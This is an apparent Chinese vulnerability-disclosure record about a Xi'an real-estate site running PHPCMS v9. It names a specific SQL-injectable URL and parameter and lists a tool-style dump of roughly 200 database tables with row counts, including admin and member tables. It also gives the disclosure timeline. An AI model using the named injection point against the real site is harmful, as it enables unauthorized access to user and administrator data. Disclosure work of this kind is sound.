2015-10-27： 积极联系厂商并且等待厂商认领中，细节不对外公开 2015-12-11： 厂商已经主动忽略漏洞，细节向公众公开
西安房地产,西安二手房,西安租房,西安新房,西安房价,西安房产,西安楼市,西安楼盘,西安买房,西安卖房,西安装修,西安写字楼,西安商铺
注入点
http://fcdt.800j.com.cn/index.php?m=content&c=newsall&a=investigate&ytlx=2
Database: phpcmsv9+---------------------------+---------+| Table | Entries |+---------------------------+---------+| v9_hits | 349385 || v9_search | 345594 || v9_ask_posts_185 | 289497 || v9_poster_201208 | 211261 || v9_zxzxmx | 208486 || v9_zxzxmx_data | 208337 || v9_attachment | 207258 || v9_poster_201209 | 155468 || v9_ask | 143179 || v9_poster_201210 | 120576 || v9_poster_201112 | 112572 || v9_poster_201111 | 97460 || v9_poster_201211 | 85605 || v9_cqfcdt | 77677 || v9_cqfcdt_data | 77476 || v9_attachment_index | 77418 || v9_ext_ftpqueue | 56787 || v9_poster_201212 | 56214 || v9_collection_history | 48446 || v9_link | 44834 || v9_poster_201303 | 43360 || v9_poster_201301 | 40082 || v9_poster_201201 | 39536 || v9_poster_201207 | 39468 || v9_mood | 38758 || v9_collection_content | 38630 || v9_poster_201302 | 37715 || v9_poster_201304 | 34247 || v9_ext_map_800j | 34002 || v9_cjmx | 30149 || v9_cjmx_data | 30149 || v9_poster_201110 | 28824 || v9_poster_201202 | 27912 || v9_poster_201203 | 24493 || v9_poster_201305 | 23593 || v9_poster_201410 | 22081 || v9_poster_201205 | 21376 || v9_poster_201204 | 21361 || v9_poster_201109 | 21199 || v9_poster_201206 | 20984 || v9_poster_201306 | 20792 || v9_poster_201409 | 20588 || v9_poster_201307 | 20183 || v9_poster_201411 | 19423 || v9_ext_live_content | 19233 || v9_ext_live_c_data | 19232 || v9_poster_201308 | 17920 || v9_message | 17761 || v9_poster_201406 | 16745 || v9_poster_201403 | 16320 || v9_poster_201402 | 16171 || v9_poster_201405 | 15873 || v9_poster_201404 | 15550 || v9_poster_201502 | 15519 || v9_poster_201503 | 15354 || v9_poster_201408 | 14997 || v9_poster_201312 | 14664 || v9_poster_201309 | 13918 || v9_poster_201401 | 13650 || v9_poster_201412 | 12972 || v9_ext_xf_zdb | 12695 || v9_poster_201407 | 12641 || v9_poster_201310 | 12421 || v9_cqfcdg | 11578 || v9_cqfcdg_data | 11578 || v9_sso_messagequeue | 10864 || v9_sso_members | 10827 || v9_poster_201311 | 10419 || v9_poster_201501 | 9932 || v9_ext_signcount | 9784 || v9_yjzxmx | 8785 || v9_yjzxmx_data | 8763 || v9_zcfgmx | 6891 || v9_zcfgmx_data | 6890 || v9_poster_201504 | 6623 || v9_category_priv | 6479 || v9_position_data | 5979 || v9_special_content | 5535 || v9_askpush | 5064 || v9_cqfctp | 5033 || v9_cqfctp_data | 5033 || v9_fwzs | 4924 || v9_fwzs_data | 4923 || v9_log | 4248 || v9_linkage | 3359 || v9_ext_keylinkword | 3139 || v9_ext_itemproperty | 3081 || v9_cqfchq | 3029 || v9_cqfchq_data | 3006 || v9_ext_itemsinfo | 2970 || v9_video | 2751 || v9_video_data | 2751 || v9_ext_xf_loupan | 2154 || v9_ext_new_house | 2137 || v9_special_c_data | 2087 || v9_queue | 1985 || v9_comment_data_1 | 1941 || v9_comment | 1663 || v9_admin_role_priv | 1600 || v9_ext_old_house | 1332 || v9_poster_201508 | 1299 || v9_vedio_manage | 1215 || v9_poster_201505 | 1070 || v9_pay_spend | 1064 || v9_badword | 1050 || v9_poster_201507 | 1001 || v9_poster_201506 | 993 || v9_poster | 982 || v9_sjzbmx | 971 || v9_sjzbmx_data | 971 || v9_ext_house_top_ten_data | 970 || v9_type | 890 || v9_member_detail | 847 || v9_poster_201108 | 729 || v9_poster_201509 | 715 || v9_position_priv | 634 || v9_model_field | 584 || v9_comment_check | 480 || v9_menu | 477 || v9_category | 417 || v9_ext_indexvalue | 359 || v9_pay_account | 352 || v9_poster_space | 290 || v9_ext_live | 285 || v9_poster_201107 | 265 || v9_form_bm_lgjha | 202 || v9_ext_land_listing | 193 || v9_ask_credit | 187 || v9_flmx | 164 || v9_flmx_data | 164 || v9_position | 164 || v9_ext_xt_jzq | 113 || v9_template_bak | 104 || v9_ext_house_top_ten | 103 || v9_ext_esfquotations | 102 || v9_ext_xfquotations | 101 || v9_form_cxbm_tlxzh | 100 || v9_ext_xt_sq | 91 || v9_session | 80 || v9_ipbanned | 78 || v9_download | 72 || v9_download_data | 72 || v9_ext_land_rent | 70 || v9_cache | 67 || v9_block_history | 60 || v9_book | 59 || v9_book_data | 59 || v9_800jsy | 57 || v9_800jsy_data | 57 || v9_lpxxmx | 57 || v9_lpxxmx_data | 57 || v9_collection_program | 53 || v9_ext_segment | 52 || v9_admin | 45 || v9_module | 43 || v9_form_cabm_yjlblf | 42 || v9_ext_signitem | 40 || v9_vote_data | 40 || v9_admin_role | 36 || v9_ext_house_chart_pos | 35 || v9_admin_panel | 34 || v9_collection_node | 34 || v9_ask_vote | 29 || v9_ext_rankchoose | 29 || v9_ext_webftp | 28 || v9_form_cdbm_nsxa | 28 || v9_model | 28 || v9_ext_house_chart | 26 || v9_ask_actor | 25 || v9_special | 22 || v9_vote_option | 20 || v9_urlrule | 17 || v9_favorite | 15 || v9_page | 13 || v9_news | 12 || v9_news_data | 12 || v9_player | 11 || v9_block | 10 || v9_ext_house_area | 10 || v9_form_cnbm_qjgfsj | 10 || v9_form_gxbm_jbht | 10 || v9_ext_xt_cq | 9 || v9_member_group | 7 || v9_wap_type | 6 || v9_ext_house_property | 5 || v9_form_cxbm_hzc | 5 || v9_sso_settings | 5 || v9_keylink | 4 || v9_vote_subject | 4 || v9_workflow | 4 || v9_guestbook | 3 || v9_member_menu | 3 || v9_site | 3 || v9_times | 3 || v9_sso_admin | 2 || v9_announce | 1 || v9_ask_posts_25 | 1 || v9_comment_setting | 1 || v9_comment_table | 1 || v9_ext_map | 1 || v9_member | 1 || v9_release_point | 1 || v9_search_keyword | 1 || v9_sso_applications | 1 || v9_wap | 1 || v9_zixun | 1 || v9_zixun_data | 1 |+---------------------------+---------+
如上
- -
未能联系到厂商或者厂商积极拒绝
